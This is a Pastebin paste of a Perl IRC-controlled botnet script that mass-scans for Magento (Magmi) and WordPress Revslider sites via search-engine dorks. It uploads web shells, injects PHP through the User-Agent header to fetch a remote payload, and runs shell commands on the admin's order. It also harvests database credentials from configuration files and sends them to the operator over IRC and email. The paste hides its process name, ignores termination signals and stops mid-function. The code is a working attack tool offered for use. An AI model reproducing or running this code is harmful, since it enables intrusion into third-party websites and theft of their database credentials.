Advertisement
Guest User

Untitled

a guest
Jul 1st, 2016
5,894
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 44.55 KB | None | 0 0
  1. #!/usr/bin/perl
  2. print('
  3. ##################
  4. # magento @2015 #
  5. ##################
  6. ');
  7. ###################################################################################################################
  8. use HTTP::Request;
  9. use HTTP::Request::Common;
  10. use HTTP::Request::Common qw(POST);
  11. use LWP::Simple;
  12. use LWP 5.64;
  13. use LWP::UserAgent;
  14. use Socket;
  15. use IO::Socket;
  16. use IO::Socket::INET;
  17. use IO::Select;
  18. ###################################################################################################################
  19. my @fake = ("/usr/sbin/httpd","/usr/local/apache/bin/httpd -DSSL","/sbin/syslogd","[eth0]","/sbin/klogd -c 1 -x -x","/usr/sbin/acpid","/usr/sbin/cron","[httpds]","/usr/sbin/httpd","[bash]");
  20. my $fakeproc = $fake[rand(scalar(@fake))];
  21. my $ircserver = "irc.malangunderground.org";
  22. my $ircport = "6667";
  23. my $nickname = "[".int(rand(9))."]".int(rand(9))."[".int(rand(9))."]";
  24. my $ident = "xxx00xxx";
  25. my $channel = "#djarum";
  26. my $dbgchan = "#djarumx";
  27. my $admin = "Kodox";
  28. my $fullname = "xxx00xxx";
  29. my $to = 'bebeknya.tuyul@hotmail.com';
  30. my $from = 'bot@scan.irc';
  31. my $subject = 'New Shell';
  32.  
  33. my $logo = "9,1[4!9]"; # [!]
  34. my $magecmd = "!magento";
  35. my $revcmd = "!revslider";
  36. my $magemanual = "&inject";
  37. my $lfimanual = "&lfi";
  38. my $mag_plugins = "plugins.zip";
  39. my $mag_package = "magmi_0.7.21.zip";
  40. my @uagents = ('Mozilla/5.0');
  41. my $uagent = $uagents[rand(scalar(@uagents))];
  42. my $engine = "GooGLe,GooGle2,WaLLa,AsK,AsK2,CLusTy,BiNg,BiNg2,bYpasS,UoL,SeZNam,HotBot,AoL,BigLobe,GpRoXy,LyCoS,WeB.De,cRaWLeR,dMoZ";
  43. # Google-Bypass
  44. my @bypasser = ('http://www.napodpatky.cz//wp-content/plugins/mail.php');
  45. my $bypass = $bypasser[rand(scalar(@bypasser))];
  46. my $poksai = "http://blackhaircafe.com/includes/js/tabs/errors.php?____pgfa=";
  47. my $injectr = "http://www.viajesortiz.es/wp-content/shop.php";
  48. my $inject0r = "http://www.winkleightimber.co.uk/errors/inject.php?site=";
  49. $SIG{'INT'} = 'IGNORE';
  50. $SIG{'HUP'} = 'IGNORE';
  51. $SIG{'TERM'} = 'IGNORE';
  52. $SIG{'CHLD'} = 'IGNORE';
  53. $SIG{'PS'} = 'IGNORE';
  54.  
  55. $0 = "$fakeproc"."\0" x 16;
  56. my $pid = fork;
  57. exit if $pid;
  58. die "\n[!] ERROR [!]\n" unless defined($pid);
  59.  
  60. our %irc_servers;
  61. our %DCC;
  62. my $dcc_sel = new IO::Select->new();
  63. $sel_client = IO::Select->new();
  64. sub sendraw {
  65. if ($#_ == '1') {
  66. my $socket = $_[0];
  67. print $socket "$_[1]\n";
  68. } else {
  69. print $IRC_cur_socket "$_[0]\n";
  70. }
  71. }
  72. sub connector {
  73. my $mynick = $_[0];
  74. my $ircserver_con = $_[1];
  75. my $ircport_con = $_[2];
  76. my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$ircserver_con", PeerPort=>$ircport_con) or return(1);
  77. if (defined($IRC_socket)) {
  78. $IRC_cur_socket = $IRC_socket;
  79. $IRC_socket->autoflush(1);
  80. $sel_client->add($IRC_socket);
  81. $irc_servers{$IRC_cur_socket}{'host'} = "$ircserver_con";
  82. $irc_servers{$IRC_cur_socket}{'port'} = "$ircport_con";
  83. $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
  84. $irc_servers{$IRC_cur_socket}{'myip'} = $IRC_socket->sockhost;
  85. nick("$mynick");
  86. sendraw("USER $ident ".$IRC_socket->sockhost." $ircserver_con :$fullname");
  87. sleep (1);
  88. }
  89. }
  90. sub parse {
  91. my $servarg = shift;
  92. if ($servarg =~ /^PING \:(.*)/) {
  93. sendraw("PONG :$1");
  94. }
  95. elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
  96. if (lc($1) eq lc($mynick)) {
  97. $mynick = $4;
  98. $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
  99. }
  100. }
  101. elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
  102. nick($mynick);
  103. }
  104. elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
  105. $mynick = $2;
  106. $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
  107. $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
  108. sendraw("MODE $mynick +Bxp");
  109. sendraw("JOIN $channel");
  110. sendraw("JOIN $dbgchan");
  111. sleep(1);
  112. sendraw("PRIVMSG $admin : Hi $admin im here !");
  113. }
  114. }
  115. my $line_temp;
  116. while( 1 ) {
  117. while (!(keys(%irc_servers))) { &connector("$nickname", "$ircserver", "$ircport"); }
  118. select(undef, undef, undef, 0.01);
  119. delete($irc_servers{''}) if (defined($irc_servers{''}));
  120. my @ready = $sel_client->can_read(0);
  121. next unless(@ready);
  122. foreach $fh (@ready) {
  123. $IRC_cur_socket = $fh;
  124. $mynick = $irc_servers{$IRC_cur_socket}{'nick'};
  125. $nread = sysread($fh, $ircmsg, 4096);
  126. if ($nread == 0) {
  127. $sel_client->remove($fh);
  128. $fh->close;
  129. delete($irc_servers{$fh});
  130. }
  131. @lines = split (/\n/, $ircmsg);
  132. $ircmsg =~ s/\r\n$//;
  133. if ($ircmsg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
  134. my ($nick,$ident,$host,$path,$msg) = ($1,$2,$3,$4,$5);
  135. if ($path eq $mynick) {
  136. if (&isAdmin($nick) && $msg eq "!die") {
  137. &shell("$path","kill -9 $$");
  138. }
  139. if (&isAdmin($nick) && $msg eq "!killall") {
  140. &shell("$path","pkill -9 perl");
  141. }
  142. if (&isAdmin($nick) && $msg eq "!reset") {
  143. sendraw("QUIT :Re-fresh!");
  144. }
  145. if (&isAdmin($nick) && $msg =~ /^!join \#(.+)/) {
  146. sendraw("JOIN #".$1);
  147. }
  148. if (&isAdmin($nick) && $msg =~ /^!part \#(.+)/) {
  149. sendraw("PART #".$1);
  150. }
  151. if (&isAdmin($nick) && $msg =~ /^!nick (.+)/) {
  152. sendraw("NICK ".$1);
  153. }
  154. if (&isAdmin($nick) && $msg =~ /^!pid/) {
  155. sendraw($IRC_cur_socket, "PRIVMSG $nick :$logo 14 Fake/PID :15 $fakeproc - $$");
  156. }
  157. }
  158. else {
  159. if (&isAdmin($nick) && $msg eq "!die") {
  160. &shell("$path","kill -9 $$");
  161. }
  162. if (&isAdmin($nick) && $msg eq "!killall") {
  163. &shell("$path","pkill -9 perl");
  164. }
  165. if (&isAdmin($nick) && $msg eq "!reset") {
  166. sendraw("QUIT :Re-fresh!");
  167. }
  168. if (&isAdmin($nick) && $msg =~ /^!join \#(.+)/) {
  169. sendraw("JOIN #".$1);
  170. }
  171. if (&isAdmin($nick) && $msg eq "!part") {
  172. sendraw("PART $path");
  173. }
  174. if (&isAdmin($nick) && $msg =~ /^!part \#(.+)/) {
  175. sendraw("PART #".$1);
  176. }
  177. if (&isAdmin($nick) && $msg =~ /^\.sh (.*)/) {
  178. &shell("$path","$1");
  179. }
  180. if (&isAdmin($nick) && $msg =~ /^!pid/) {
  181. &msg("$path","$logo14 Fake Process/PID :15 $fakeproc - $$ $logo");
  182. }
  183. if ($msg =~ /^$lfimanual\s+(.*)/) {
  184. my $trg = $1;
  185. my $mlfi = "http://".$trg."magmi/web/ajax_pluginconf.php?file=../../../../../../../../../../../../..//proc/self/environ&plugintype=utilities&pluginclass=CustomSQLUtility";
  186. &mage_lfi($mlfi);
  187. my $glfi = &get_content($mlfi);
  188. if(glfi =~ /HTTP_USER_AGENT/i){
  189. &msg("$admin","$logo14 Magento $logo9 ".$mlfi." ");
  190. }
  191. my $cek = &get_content("http://".$trg."image.php");
  192. if($cek =~ /MrShahab/){
  193. &msg("$chan","$logo14 Magento $logo9 ".$trg." [OK]LFI Sukses");
  194. &msg("$admin","$logo14 Magento $logo9 ".$trg."image.php");
  195. my $box = "[+]Site: http://".$trg."/image.php\n";
  196. &mailer($box);
  197. }
  198. }
  199. if ($msg =~ /^$magemanual\s+(.*)/) {
  200. my $tg = $1;
  201. if($tg !~ /http:/){ $tg = "htpp://".$1.""}
  202. my $tgx = $tg."/magmi/web/plugin_upload.php";
  203. &msg("$path","$logo14 Exploiting -> 15 $tgx $logo");
  204. &mage1_query($tgx); sleep(1);
  205. my $chk = &get_content($tg."/magmi/plugins/plugins.php");
  206. if ($chk =~ /MrShahab/) {
  207. &msg("$path","$logo14 Magento $logo9 ".$tg." [Plugins Uploaded] ");
  208. &msg("$admin","$logo14 Magento $logo9 ".$tg."/magmi/plugins/plugins.php ");
  209. } else {
  210. &msg("$path","$logo14 Magento $logo4 ".$tg." [Plugins Failed]");
  211. my $tgz = $tg."/magmi/web/magmi_upload.php";
  212. &mage2_query($tgz); sleep(1);
  213. my $chx = &get_content($tg."/magmi/web/plugins.php");
  214. if ($chk =~ /MrShahab/){
  215. &msg("$path","$logo14 Magento $logo9 ".$tg." [Package Uploaded] ");
  216. &msg("$admin","$logo14 Magento $logo9 ".$tg."/magmi/plugins/plugins.php ");
  217. } else { &msg("$path","$logo14 Magento $logo4 ".$tg." [Package Failed]"); }
  218. }
  219. }
  220. ##################################################################### HELP COMMAND
  221.  
  222. if ($msg =~ /^!help/) {
  223. my $helplogo = "$logo 4Help $logo";
  224. &msg("$path","$helplogo 14,1 ######################################### $logo");
  225. &msg("$path","$helplogo 14,1 #15 [ Magmi-RFI ] $magecmd [dork] ");
  226. &msg("$path","$helplogo 14,1 ######################################### $logo");
  227. }
  228.  
  229. ##################################################################### Mage
  230.  
  231. if ($msg =~ /^$magecmd\s+(.*)/) {
  232. if (my $pid = fork) {
  233. waitpid($pid, 0);
  234. }
  235. else {
  236. if (fork) { exit; } else {
  237. my ($bug,$dork) = ("magmi/web/magmi.php",$1);
  238. &msg("$path","$logo14 [Magento] d0Rk :15 $dork $logo");
  239. &msg("$path","$logo14 [Magento] BugZ :15 $bug $logo");
  240. &msg("$path","$logo15 Search Engine Loading $logo");
  241. &scan_start($path,$bug,$dork,$engine,1);
  242. }
  243. exit;
  244. }
  245. } elsif($msg =~ /^$revcmd\s+(.*)/) {
  246. if (my $pid = fork) {
  247. waitpid($pid, 0);
  248. } else {
  249. if(fork) { exit; } else {
  250. my($bug,$dork) = ("wp-admin/admin-ajax.php",$1);
  251. &msg("$path","$logo14 [Revslider] d0Rk :15 $dork $logo");
  252. &msg("$path","$logo14 [Revslider] BugZ :15 $bug $logo");
  253. &msg("$path","$logo15 Search Engine Loading $logo");
  254. &scan_start($path,$bug,$dork,$engine,2);
  255. }
  256. }
  257. }
  258. }
  259. }
  260. for(my $c=0; $c<= $#lines; $c++) {
  261. $line = $lines[$c];
  262. $line = $line_temp.$line if ($line_temp);
  263. $line_temp = '';
  264. $line =~ s/\r$//;
  265. unless ($c == $#lines) {
  266. &parse("$line");
  267. } else {
  268. if ($#lines == 0) {
  269. &parse("$line");
  270. } elsif ($lines[$c] =~ /\r$/) {
  271. &parse("$line");
  272. } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
  273. &parse("$line");
  274. } else {
  275. $line_temp = $line;
  276. }
  277. }
  278. }
  279. }
  280. }
  281.  
  282. #########################################
  283. sub scan_start() {
  284. my ($chan,$bug,$dork,$engine,$type) = @_;
  285. if ($engine =~ /google/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLe",$type); } exit; } }
  286. if ($engine =~ /google2/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGle2",$type); } exit; } }
  287. if ($engine =~ /walla/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"WaLLa",$type); } exit; } }
  288. if ($engine =~ /ask/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsK",$type); } exit; } }
  289. if ($engine =~ /ask2/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsK2",$type); } exit; } }
  290. if ($engine =~ /clusty/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CLusTy",$type); } exit; } }
  291. if ($engine =~ /bing/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BiNg",$type); } exit; } }
  292. if ($engine =~ /bing2/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BiNg2",$type); } exit; } }
  293. if ($engine =~ /bypass/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"bYpasS",$type); } exit; } }
  294. if ($engine =~ /uol/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"UoL",$type); } exit; } }
  295. if ($engine =~ /seznam/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SeZNam",$type); } exit; } }
  296. if ($engine =~ /hotbot/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"HotBot",$type); } exit; } }
  297. if ($engine =~ /aol/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AoL",$type); } exit; } }
  298. if ($engine =~ /biglobe/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BigLobe",$type); } exit; } }
  299. if ($engine =~ /gproxy/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GpRoXy",$type); } exit; } }
  300. if ($engine =~ /lycos/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"LyCoS",$type); } exit; } }
  301. if ($engine =~ /webde/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"WeB.De",$type); } exit; } }
  302. if ($engine =~ /crawler/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"cRaWLeR",$type); } exit; } }
  303. if ($engine =~ /dmoz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"dMoZ",$type); } exit; } }
  304. }
  305. sub type () {
  306. my ($chan,$bug,$dork,$engine,$type) = @_;
  307. if ($type == 1){$type=&magmi($chan,$bug,$dork,$engine);}
  308. if ($type == 2){$type=&revsl($chan,$bug,$dork,$engine);}
  309. }
  310. ######################################### EXPLOITING
  311. sub magmi() {
  312. my $chan = $_[0];
  313. my $bug = $_[1];
  314. my $dork = $_[2];
  315. my $engine = $_[3];
  316. my $count = 0;
  317. my @list = &search_engine($chan,$bug,$dork,$engine,$logo);
  318. my $num = scalar(@list);
  319. if ($num > 0){
  320. foreach my $site(@list){
  321. $count++;
  322. if ($count == $num-1) { my @list = (); &msg("$chan","$logo14 Magento $logo15 FinizZ!14 $engine : $dork "); }
  323. &msg("$dbgchan","$logo14 [$count/$num] $engine $logo15 $site");
  324.  
  325. # Cek Shoplift #
  326. my $shp = "http://www.winkleightimber.co.uk/errors/inject.php?target=http://".$site;
  327. my $lift = &get_content($shp);
  328. if($lift =~ /"Success"/){
  329. #&msg("$chan","$logo14 Magento $logo15 ".$shp." 9[ShopLift] ");
  330. my $lift = &shoplift($site);
  331. if($lift =~ m/@(.*) - (.*)/g){
  332. &msg("$chan","$logo14 Magento $logo9[ShopLift]15 http://".$site."admin ");
  333. $lift1 = &get_content($inject0r.$site."admin");
  334. if($lift1 =~ /Sukses Login/){
  335. &msg("$admin","$logo14 Magento $logo9[ShopLift]15 http://".$site."admin - Sukses Login");
  336. }
  337. } else { &msg("$chan","$logo14 Magento $logo15 @".$site." - Cek Injector Manual ! ");}
  338. }
  339. #else {
  340. # &msg("$dbgchan","$logo14 Magento $logo15 ".$shp." 4[".$lift."] ");
  341. #}
  342.  
  343. # Cek DB Login #
  344. my $serverIP; my $dbname; my $user; my $pass; my $prefix; my $pgadmin; my $out;
  345. my $xmlfile = "http://".$site."app/etc/local.xml";
  346. my $leakxml = &get_content($xmlfile);
  347. sleep(1);
  348. if ($leakxml =~ /<connection>/ )
  349. {
  350. my $pma = &get_content("http://".$site."phpmyadmin");
  351. &msg("$chan","$logo14 Magento $logo15 ".$xmlfile." 9[DBLeaked] ");
  352. # /<key><!\[\CDATA\[(.*)\]\]\><\/key>/
  353. if ($leakxml =~ m/<table_prefix><!\[\CDATA\[(.*)\]\]\><\/table_prefix>/g){$prefix = $1;}
  354. if ($leakxml =~ m/<host><!\[\CDATA\[(.*)\]\]\><\/host>/g) {$serverIP = $1;}
  355. if ($leakxml =~ m/<username><!\[\CDATA\[(.*)\]\]\><\/username>/g){$user = $1;}
  356. if ($leakxml =~ m/<password><!\[\CDATA\[(.*)\]\]\><\/password>/g){$pass = $1;}
  357. if ($leakxml =~ m/<dbname><!\[\CDATA\[(.*)\]\]\><\/dbname>/g){$dbname = $1;}
  358. if ($leakxml =~ m/<frontName><!\[\CDATA\[(.*)\]\]\><\/frontName>/g){$pgadmin = $1;}
  359. $out = "[+]Host: $serverIP\n[+]User: $user\n[+]Pass: $pass\n[+]Prefix: $prefix\n[+]DBName: $dbname\n[+]PageAdmin: $pgadmin";
  360. &msg("$admin","$logo14 ======================================================== $logo ");
  361. &msg("$admin","$logo14 Magento $logo 14[+]DBSite:15 http://".$site." ");
  362. &msg("$admin","$logo14 Magento $logo 14[+]Host:15 ".$serverIP." ");
  363. &msg("$admin","$logo14 Magento $logo 14[+]User:15 ".$user." ");
  364. &msg("$admin","$logo14 Magento $logo 14[+]Pass:15 ".$pass." ");
  365. &msg("$admin","$logo14 Magento $logo 14[+]Prefix:15 ".$prefix." ");
  366. &msg("$admin","$logo14 Magento $logo 14[+]DBName:15 ".$dbname." ");
  367. &msg("$admin","$logo14 Magento $logo 14[+]PageAdmin:15 ".$pgadmin." ");
  368. if ($pma =~ /phpMyAdmin/){
  369. &msg("$admin","$logo14 Magento $logo 14[+]PhpMyAdmin:15 ".$site."phpmyadmin ");
  370. } else{
  371. &msg("$admin","$logo14 Magento $logo 14[+]PhpMyadmin:15 Not Found");
  372. }
  373.  
  374. }
  375. else {
  376. my $inifile = "http://".$site."magmi/conf/magmi.ini";
  377. my $leakini = &get_content($inifile);
  378. sleep(1);
  379. if ($leakini =~ /connectivity =/ )
  380. {
  381. my $pma = &get_content("http://".$site."phpmyadmin");
  382. &msg("$chan","$logo14 Magento $logo15 ".$inifile." 9[DBLeaked] ");
  383. if ($leakini =~ m/host = \"(.*)\"/g) {$serverIP = $1;}
  384. if ($leakini =~ m/dbname = \"(.*)\"/g){$dbname = $1;}
  385. if ($leakini =~ m/user = \"(.*)\"/g){$user = $1;}
  386. if ($leakini =~ m/password = \"(.*)\"/g){$pass = $1;}
  387. if ($leakini =~ m/table_prefix = \"(.*)\"/g){$prefix = $1;}
  388. $out = "[+]Host: $serverIP\n[+]User: $user\n[+]Pass: $pass\n[+]Prefix: $prefix\n[+]DBName: $dbname";
  389. &msg("$admin","$logo14 ======================================================== $logo ");
  390. &msg("$admin","$logo14 Magento $logo 14[+]DBSite:15 http://".$site." ");
  391. &msg("$admin","$logo14 Magento $logo 14[+]Host:15 ".$serverIP." ");
  392. &msg("$admin","$logo14 Magento $logo 14[+]User:15 ".$user." ");
  393. &msg("$admin","$logo14 Magento $logo 14[+]Pass:15 ".$pass." ");
  394. &msg("$admin","$logo14 Magento $logo 14[+]Prefix:15 ".$prefix." ");
  395. &msg("$admin","$logo14 Magento $logo 14[+]DBName:15 ".$dbname." ");
  396. if ($pma =~ /phpMyAdmin/){
  397. &msg("$admin","$logo14 Magento $logo 14[+]PhpMyAdmin:15 ".$site."phpmyadmin ");
  398. } else{
  399. &msg("$admin","$logo14 Magento $logo 14[+]PhpMyadmin:15 Not Found");
  400. }
  401. }
  402. }
  403.  
  404. # Cek Magmi #
  405. my $crot = "http://".$site.$bug;
  406. my $crotx = "http://".$site."magmi/web/plugin_upload.php";
  407. my $vuln = &get_content($crot);
  408. if ($vuln =~ /v0.7.1/) {
  409. &mage1_query($crotx); sleep(1);
  410. my $check = &get_content("http://".$site."magmi/plugins/plugins.php");
  411. if ($check =~ /MrShahab/) {
  412. &msg("$chan","$logo14 Magento $logo9 ".$site." [OK]Plugins Upload ");
  413. &msg("$admin","$logo14 Magento $logo9 ".$site."magmi/plugins/plugins.php ");
  414. my $box = "[+]Site: http://".$site."/magmi/plugins/plugins.php\n".$out."";
  415. &mailer($box);
  416. }
  417. else {
  418. &msg("$chan","$logo14 Magento $logo15 ".$crot." 4[Plugins Failed]");
  419. my $crotz = "http://".$site."magmi/web/magmi_upload.php";
  420. &mage2_query($crotz); sleep(1);
  421. my $chex = &get_content("http://".$site."magmi/web/image.php");
  422. if ($chex =~ /MrShahab/) {
  423. &msg("$chan","$logo14 Magento $logo9 ".$site." [OK]Package Upload ");
  424. &msg("$admin","$logo14 Magento $logo9 ".$site."magmi/web/image.php ");
  425. my $box = "[+]Site: http://".$site."/magmi/web/plugins.php\n".$out."";
  426. &mailer($box);
  427. }
  428. else {
  429. &msg("$chan","$logo14 Magento $logo15 ".$crot." 4[Package Failed]");
  430. my $mlfi = "http://".$site."magmi/web/ajax_pluginconf.php?file=../../../../../../../../../../../../..//proc/self/environ&plugintype=utilities&pluginclass=CustomSQLUtility";
  431. &mage_lfi($mlfi);
  432. my $glfi = &get_content($mlfi);
  433. if(glfi =~ /HTTP_USER_AGENT/i){
  434. &msg("$admin","$logo14 Magento $logo9 ".$mlfi." ");
  435. }
  436. my $cek = &get_content("http://".$site."image.php");
  437. if($cek =~ /MrShahab/){
  438. &msg("$chan","$logo14 Magento $logo9 ".$site." [OK]LFI Sukses");
  439. &msg("$admin","$logo14 Magento $logo9 ".$site."magmi/web/image.php");
  440. my $box = "[+]Site: http://".$site."/image.php\n".$out."";
  441. &mailer($box);
  442. }
  443. }
  444. }
  445. }
  446. }
  447. }
  448. }
  449. sub revsl() {
  450. my $chan = $_[0];
  451. my $bug = $_[1];
  452. my $dork = $_[2];
  453. my $engine = $_[3];
  454. my $count = 0;
  455. my @list = &search_engine($chan,$bug,$dork,$engine,$logo);
  456. my $num = scalar(@list);
  457. if ($num > 0){
  458. foreach my $site(@list){
  459. $count++;
  460. if ($count == $num-1) { my @list = (); &msg("$chan","$logo14 Revslider $logo15 FinizZ!14 $engine : $dork "); }
  461. &msg("$dbgchan","$logo14 [$count/$num] $engine $logo15 $site");
  462.  
  463. #Revslider Shell#
  464. my $revs = revinject($site);
  465. if($revs =~ /Sukses Bos/i){$path=$1;}
  466. my $shell = "http://".$site.$path;
  467. my $jos = &get_content($shell);
  468. my $lel = $shell."?x=kernel";
  469. my $lol = &get_content($lel);
  470. if($jos =~ /MrShahab/i){
  471. &get_content($shell."?x=clone");
  472. &get_content($shell."?x=revpatch");
  473. &msg("$chan","$logo14 Revslider $logo9 ".$site." 9[Shell Uploaded]")
  474. &msg("$admin","$logo14 Revslider $logo9 ".$site."wp-admin/xx.php (".$lol.")");
  475. &msg("$admin","$logo14 Revslider $logo9 ".$shell."(".$lol.")");
  476. my $box = "[+]Site: http://".$shell."\nKernel : ".$lol;
  477. &mailer($box);
  478. }
  479. ##################DB Inject#########################
  480. my $serverIP; my $dbname; my $user; my $pass; my $out;
  481. my $bugdb = "http://".$site.$bug."?action=revslider_show_image&img=../wp-config.php";
  482. my $getdb = &get_content($bugdb);
  483. if($getdb =~ /DB_NAME/i){
  484. if ($html =~ /\DB_NAME\', '(.*)'\);/) {$dbname=$1;}
  485. if ($html =~ /\DB_USER\', '(.*)'\);/) {$user=$1;}
  486. if ($html =~ /\DB_PASSWORD\', '(.*)'\);/) {$pass=$1;}
  487. if ($html =~ /\DB_HOST\', '(.*)'\);/) {$serverIP=$1;}
  488. my $pma = &get_content("http://".$site."phpmyadmin");
  489. &msg("$admin","$logo14 Revslider $logo 14 http://".$bugdb." [DB Leaked] ");
  490. &msg("$admin","$logo14 Revslider $logo 14[+]DBSite:15 http://".$site." ");
  491. &msg("$admin","$logo14 Revslider $logo 14[+]Host:15 ".$serverIP." ");
  492. &msg("$admin","$logo14 Revslider $logo 14[+]User:15 ".$user." ");
  493. &msg("$admin","$logo14 Revslider $logo 14[+]Pass:15 ".$pass." ");
  494. if($pma =~ /PhpMyAdmin/){
  495. &msg("$admin","$logo14 Revslider $logo 14[+]PhpMyadmin:15 ".$site."phpmyadmin ");
  496. } else {
  497. &msg("$admin","$logo14 Revslider $logo 14[+]PhpMyadmin:15 Not Found");
  498. }
  499. }
  500. }
  501. }
  502. }
  503. #########################################
  504. sub search_engine() {
  505. my (@total,@clean);
  506. my $chan = $_[0];
  507. my $bug = $_[1];
  508. my $dork = $_[2];
  509. my $engine = $_[3];
  510. my $logo = $_[4];
  511. if ($engine eq "GooGLe") { my @google = &google($dork); push(@total,@google); }
  512. if ($engine eq "GooGle2") { my @google2 = &google2($dork); push(@total,@google2); }
  513. if ($engine eq "WaLLa") { my @walla = &walla($dork); push(@total,@walla); }
  514. if ($engine eq "AsK") { my @ask = &ask($dork); push(@total,@ask); }
  515. if ($engine eq "AsK2") { my @ask2 = &ask2($dork); push(@total,@ask2); }
  516. if ($engine eq "CLusTy") { my @clusty = &clusty($dork); push(@total,@clusty); }
  517. if ($engine eq "BiNg") { my @bing = &bing($dork); push(@total,@bing); }
  518. if ($engine eq "BiNg2") { my @bing2 = &bing2($dork); push(@total,@bing2); }
  519. if ($engine eq "bYpasS") { my @bypass = &bypass($dork); push(@total,@bypass); }
  520. if ($engine eq "UoL") { my @uol = &uol($dork); push(@total,@uol); }
  521. if ($engine eq "SeZNam") { my @seznam = &seznam($dork); push(@total,@seznam); }
  522. if ($engine eq "HotBot") { my @hotbot = &hotbot($dork); push(@total,@hotbot); }
  523. if ($engine eq "AoL") { my @aol = &aol($dork); push(@total,@aol); }
  524. if ($engine eq "BigLobe") { my @biglobe = &biglobe($dork); push(@total,@biglobe); }
  525. if ($engine eq "GpRoXy") { my @gproxy = &gproxy($dork); push(@total,@gproxy); }
  526. if ($engine eq "LyCoS") { my @lycos = &lycos($dork); push(@total,@lycos); }
  527. if ($engine eq "WeB.De") { my @webde = &webde($dork); push(@total,@webde); }
  528. if ($engine eq "cRaWLeR") { my @crawler = &crawler($dork); push(@total,@crawler); }
  529. if ($engine eq "dMoZ") { my @dmoz = &dmoz($dork); push(@total,@dmoz); }
  530. @clean = &clean(@total);
  531. my $clr = scalar(@clean);
  532. if($clr > 0){
  533. &msg("$chan","$logo14 Magento $logo15 $engine $logo14 Total:15 [".scalar(@total)."]14 Clean:15 [".scalar(@clean)."] ");
  534. }
  535. return @clean;
  536. }
  537.  
  538. #########################################
  539. sub mailer() {
  540. my $isi = $_[0];
  541. open(mailer, "|/usr/sbin/sendmail -t");
  542. print mailer "To: $to\nFrom: $from\nSubject: $subject\n\n$isi";
  543. close(mailer);
  544. }
  545. sub shoplift() {
  546. my $url = $_[0];
  547. my $ua = LWP::UserAgent->new(ssl_opts => { verify_hostname => 0 });
  548. $ua->timeout(120);
  549. $ua->agent($uagent);
  550. my $req = HTTP::Request->new(POST => $injectr);
  551. $req->content_type('application/x-www-form-urlencoded');
  552. $req->content('target='.$url.'&prefix=&exploit=Exploit');
  553. my $res = $ua->request($req);
  554. if ($res->is_success) { return $res->decoded_content; }
  555. else { return $res->status_line; }
  556. }
  557. sub get_content() {
  558. my $url = $_[0];
  559. my $ua = LWP::UserAgent->new(ssl_opts => { verify_hostname => 0 });
  560. $ua->timeout(120);
  561. $ua->agent($uagent);
  562. my $req = HTTP::Request->new(GET => $url);
  563. my $res = $ua->request($req);
  564. if ($res->is_success) { return $res->decoded_content; }
  565. else { return $res->status_line; }
  566. }
  567. sub mage1_query() {
  568. my $url = $_[0];
  569. my $ua = LWP::UserAgent->new(agent => $uagent);
  570. $ua->timeout(120);
  571. my $req = $ua->post($url,Content_Type=>'multipart/form-data',Content=>["plugin_package"=>["$mag_plugins"]]);
  572. return $req->content;
  573. }
  574. sub mage2_query() {
  575. my $url = $_[0];
  576. my $ua = LWP::UserAgent->new(agent => $uagent);
  577. $ua->timeout(120);
  578. my $req = $ua->post($url,Content_Type=>'multipart/form-data',Content=>["magmi_package"=>["$mag_package"]]);
  579. return $req->content;
  580. }
  581. sub mage_lfi() {
  582. my $url = $_[0];
  583. my $cmd = "MrShahab<?php $x = file_get_contents('http://pastebin.com/raw.php?i=AEbhJNFL');$xx = fopen('../../image.php','w');fwrite($xx,$x);fclose($xx);?>";
  584. my $ua = LWP::UserAgent->new(agent => $cmd);
  585. $ua->timeout(120);
  586. my $req = $ua->get($url);
  587. return $req->content;
  588. }
  589. ######################################### SEARCH ENGINE
  590. sub google() {
  591. my @list;
  592. my $key = $_[0];
  593. my $num = 10; my $max = 1000; my $p; my $token;
  594. my $go = "http://www.google.com/search?q=".&key($key)."&filter=0&start=".$p;
  595. my $gl = &get_content($go);
